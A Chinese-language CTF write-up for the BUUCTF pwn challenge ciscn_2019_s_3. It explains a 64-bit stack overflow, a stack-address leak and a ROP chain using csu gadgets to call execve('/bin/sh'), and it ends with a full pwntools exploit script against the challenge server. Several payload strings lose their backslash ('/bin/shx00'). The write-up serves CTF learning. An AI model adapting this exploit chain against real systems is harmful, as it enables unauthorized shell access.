zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN21——ciscn_2019_s_3

    [BUUCTF]PWN21——ciscn_2019_s_3

    附件

    步骤

    例行检查,64位,开启了NX保护
    在这里插入图片描述
    试运行的时候回显是一些乱码,直接用ida打开,从main函数开始看
    在这里插入图片描述
    main函数调用了vuln函数
    在这里插入图片描述
    __asm 关键字用于调用内联汇编程序,并且可在 C 或 C++ 语句合法时出现。

    我们首先要了解一下64位系统的系统调用

    传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器

    调用号:sys_read 的调用号 为 0 ;sys_write 的调用号 为 1;stub_execve 的调用号 为 59; stub_rt_sigreturn 的调用号 为 15

    调用方式: 使用 syscall 进行系统调用

    这题我们没法通过f5查看伪代码理清执行过程,我们按tap查看汇编
    在这里插入图片描述

    首先定义了一个参数buf的大小是0x10
    xor rax , rax --------------->将rax寄存器里的值设置为了0(任何一个数异或它本身都等于0)
    mov edx , 400h ------------->将edx寄存器的值设置为了0x400
    lea rsi , [rsp+buf] ----------->将buf参数的地址传入寄存器rsi
    mov rdi ,rax --------------->将rax寄存器里的值(0)传入rdi寄存器(将rdi设置为0)
    syscall------------------------->进行系统调用

    其实就是执行了 read(0,buf,0x400),我们一开始看到的buf的大小只有0x10,因此这边存在栈溢出漏洞

    下面一段同理,就是执行了 write(1,buf,0x30),然后设置rbp,执行retn命令,retn其实就是pop eip,eip寄存器一般用于存放我们下一条要执行的指令的地址,所以pop eip这条指令可以让我们控制程序的跳转

    看到gadgets函数联想到onegadget,我们在看一下gadgets函数的汇编
    在这里插入图片描述
    可以看到它有将rax设置为3B(59),调用了execve,execve函数作用是执行一个新的程序,程序可以是二进制的可执行程序,也可以是shell、pathon脚本,这个跟system函数差不多,记录一下调用execve的地址,execve_addr=0x4004e2,
    在这个调用execve的函数里也看到了retn,我们可以用它继续控制程序流,接下来就是去设置execve函数的参数,通过pop指令持续控制,让rdi=/bin/sh,rsi=0,rdx=0即可获得shell

    注意vuln函数和gadget函数有一个特点,那就是函数末尾没有leave指令,在执行完后不会恢复rbp和rsp状态到上一个栈帧,原先rbp值保存的位置变成了返回地址的位置。也就是说vuln函数的buf参数在溢出的时候只要输入长度为10的数据之后覆盖rbp,就能控制程序

    利用过程

    1.构造第一次溢出,由于write输出的是0x30字节长度的内容,因此会泄露一些栈上的地址

    payload='/bin/shx00'+'b'*8+p64(vlu)
    

    看一下溢出后write打印出来的内容,
    在这里插入图片描述
    看到距离rsp为0x20的地方输出了我们调试的程序的名称,这个一般是保存在avrg[0],这个是栈上的地址,我们可以计算一下它距离我们输入的首字符的位置的距离是0xca8-0xb90=0x118(280),也就是说我们以后每次接受0x20个长度的字符,停在这个位置,然后-0x118,就能定位到输入点参数在栈中的位置了,这个地方我们已经写入了字符串 ‘/bin/sh’

    p.recv(0x20)
    sh=u64(p.recv(8))-280
    

    接下来再造成一次溢出,进行execve函数调用,然后只要让rdi=/bin/sh,rsi=0,rdx=0即可获得shell
    没有直接找到设置rdx寄存器的指令,但是在ida里找到了改变rdx寄存器方法的指令,
    在这里插入图片描述
    mov rdx ,r13--------->将r13寄存器里的值赋值给rdx,也就是说我们可以通过改变r13的值来控制rdx
    pop r13----------->设置r13寄存器里的值,它其实是执行了两个步骤,第一步mov,改变r13的值,之后ret,进行地址跳转,我们可以用pop r13这个指令,先将r13设置为0,只会ret到mov rdx,r13,这样就将rdx设置为0了,但是将rbx设置为了0,下面的call会变成执行call ptr[12]

    pl2='/bin/shx00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*6
    pl2+=p64(mov_rdxr13_call)+p64(execv)
    

    最后来设置rdi

    ROPgadget --binary ciscn_s_3 |grep "pop rdi"
    

    在这里插入图片描述

    pl2+=p64(pop_rdi)+p64(sh)+p64(sys)#将rdi设置为/bin/sh字符串,返回到syscall函数执行系统调用
    

    exp

    from pwn import *
    
    #p=process('./ciscn_s_3')
    p=remote('node3.buuoj.cn',26145)
    context.log_level = 'debug'
    
    vlu=0x0004004ED
    
    execv=0x04004E2
    
    pop_rdi=0x4005a3
    
    pop_rbx_rbp_r12_r13_r14_r15=0x40059A
    
    mov_rdxr13_call=0x0400580 
    
    sys=0x00400517
    
    payload='/bin/shx00'*2+p64(vlu)
    p.send(payload)
    #gdb.attach(p)
    
    p.recv(0x20)
    sh=u64(p.recv(8))-280
    print(hex(sh))
    
    pl2='/bin/shx00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*6
    pl2+=p64(mov_rdxr13_call)+p64(execv)
    pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
    p.send(pl2)
    
    p.interactive()
    

    在这里插入图片描述

    参考了几位师傅的wp加上自己的一些理解,如果我有地方理解错了,请指正
    https://blog.csdn.net/github_36788573/article/details/103541178
    https://eqqie.cn/index.php/laji_note/1092/

  • 相关阅读:
    Python len() 方法
    Python join() 方法
    Python isupper() 方法
    使用quartz进行容器启动时登陆接口服务器和接口服务器进行心跳连接
    实现锁死的有滚动条的div的表格(datagird)
    使用spring的事务的三种方法
    webservice系统学习笔记7-使用handler实现过滤器/拦截器效果
    webservice系统学习笔记7-异常处理
    webservice系统学习笔记6-使用soap的header传递消息
    JSTL fmt:formatNumber 数字、货币格式化
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273714.html
Copyright © 2011-2022 走看看